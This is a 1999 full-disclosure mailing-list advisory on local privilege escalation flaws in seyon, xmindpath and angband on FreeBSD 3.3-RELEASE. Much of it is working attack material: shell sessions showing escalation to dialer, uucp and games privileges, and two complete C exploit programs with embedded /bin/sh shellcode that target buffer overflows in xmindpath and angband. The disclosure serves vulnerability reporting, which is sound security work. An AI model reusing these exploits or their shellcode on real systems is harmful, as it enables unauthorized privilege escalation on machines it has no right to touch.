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Several FreeBSD-3.3 vulnerabilities
From: btellier () USA NET (Brock Tellier)
Date: Tue, 30 Nov 1999 16:08:29 MST


Greetings,

RANT
I've given the FreeBSD team about a month to get something official together. 
Maintainers were supposedly contacted, but no progress has been made.  As
promised, here are the goods:

OVERVIEW
Vulnerabilities in seyon, xmindpath and angband can be used to upgrade
privileges.

BACKGROUND
All of the vulnerabilities discussed herein are based on my work on
FreeBSD 3.3-RELEASE. Each of the programs was installed with the
default permissions given when unpacked with sysinstall. 
These permissions are:
-rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon
-rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath
-r-xr-sr-x 1 bin games 481794 Sep 11 01:10 /usr/X11R6/bin/angband
These programs may be installed on other systems with different
permissions as a result of a version change or a different packing
scheme.

DETAILS
 
Vuln #1 The Seyon Mess
 
To summarize: Seyon was supposedly not meant to run with additional
privileges. There are numerous problems with seyon and I've probably not
found all of them. They are:
 
Buffer Overflows:
 1. $HOME
 2. seyon -emulator $BUF
 3. seyon -modems $BUF
 4. many long text box input string overflows while in program
Input Validation:
 1. seyon will search $PATH for "xterm" and "seyon-emu" and exec with
 fullprivs (as noted in previous advisory)
 2. seyon -emulator /program/to/execute/with/full/privs
  
These privileges might be upgradable to root if you are able to a.
trojan a dialer-writable file or b. use a symlink attack to clobber .rhosts or
similar c. snoop device i/o.
 
Vuln #2 xmindpath

/usr/X11R6/bin/xmindpath (suid uucp by default), contains a buffer
overflow which will allow any user to gain uucp privs. Simply enough:
xmindpath -f $BUF

See my "faxalter" advisory for more info on gaining root w/euid uucp.
 
Vuln #3 fun and egid games
 
Want to impress your friends with the highest tetris score known to man?
 
Gain egid games with a buffer overflow in /usr/X11R6/bin/angband. The
overflows are:
 angband -u$BUF
 angband -d$BUF
 
EXPLOITS
 
Seyon:
I've not written buffer overflow exploits for Seyon since an
equivalent-yield program execution vulnerability exists, but it is
certianly possible. The latter exploit is:
seyon -emulator /program/to/execute
 
Note that you'll have to execute a program that will ignore the args
that seyon passes to it automatically as shown:
 
bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' > id.c
bash-2.03$ gcc -o id id.c
bash-2.03$ seyon -emulator ./id
uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer),
1000(xnec)
 
xmindpath:
bash-2.03$ ls -la `which xmindpath`; id
-rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath
uid=1000(xnec) gid=1000(xnec) groups=1000(xnec)
bash-2.03$ ./xmindx
FreeBSD xmindpath exploit /path/to/xmindpath -f $RET
Brock Tellier btellier () usa net
Using addr: 0xbfbfcfa8
bash-2.03$ xmindpath -f $RET
lock open: File name too long
$ id
uid=1000(xnec) euid=66(uucp) gid=1000(xnec) groups=1000(xnec)
$
 
/*
 *
 * FreeBSD 3.3 xmindpath exploit gives euid uucp
 * Compile: gcc -o xmindx xmindx.c
 * Usage: ./xmindx <offset>
 /path/to/mindpath -f $RET
 * Brock Tellier <btellier () usa net>
 *
 */
 
 
 #include <stdlib.h>
 #include <stdio.h>
 
 char shell[]= /* mudge () l0pht com */
 "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
 "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
 "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
 "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
 
 #define EGGLEN 2048
 #define RETLEN 279
 #define ALIGN 3
 #define NOP 0x90

 int main(int argc, char *argv[]) {
 
 long int offset=0;
 int i;
 int egglen = EGGLEN;
 int retlen = RETLEN;
 long int addr = 0xbfbfcfa8;
 char egg[EGGLEN];
 char ret[RETLEN];
  
 if (argc == 2) offset = atoi(argv[1]);
 
 addr=addr + offset;
 
 fprintf(stderr, "FreeBSD xmindpath exploit /path/to/xmindpath -f $RET\n");
 fprintf(stderr, "Brock Tellier btellier () usa net\n");
 fprintf(stderr, "Using addr: 0x%x\n", addr);
  
 memset(egg,NOP,egglen);
 memcpy(egg+(egglen - strlen(shell) - 1),shell,strlen(shell));
  
 for(i=ALIGN;i< retlen;i+=4)
 *(int *)&ret[i]=addr;
  
 memcpy(egg, "EGG=", 4);
 putenv(egg);
 memcpy(ret,"RET=",4);
 putenv(ret);
  
 system("/usr/local/bin/bash");
  
 }
 
 
angband:
 
bash-2.03$ gcc -o angames angames.c
bash-2.03$ angband `./angames`
eip=0xbfbfc6b4 offset=0 buflen=1095
NOPs to 1021
Shellcode to 1088
eip to 1092
garbage to 1094
$ id
uid=1000(xnec) gid=1000(xnec) egid=13(games) groups=13(games), 1000(xnec)
$ 

/* FreeBSD 3.3 angband exploit yields egid of group games
* usage: gcc -o angames angames.c
/path/to/angband `./angames <offset>`
* overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage
* Brock Tellier <btellier () usa net>
*/

#include <stdio.h>

char shell[]= /* mudge () lopht com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
 
 
main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */
char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */
char arg[bsize + 2];
int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */
 
if (argv[1]) { 
offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
 
for ( x = 0; x < 1021; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %d\n", x);
 
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %d\n",x);
 
buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);
buf[x++] = 'X';
buf[x++] = 'X';
fprintf(stderr, "garbage to %d\n", x);

buf[bsize - 1] = '\0';

sprintf(arg, "-u%s", buf);
arg[bsize + 1] = '\0';
 
printf("%s", arg);
 
}

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA

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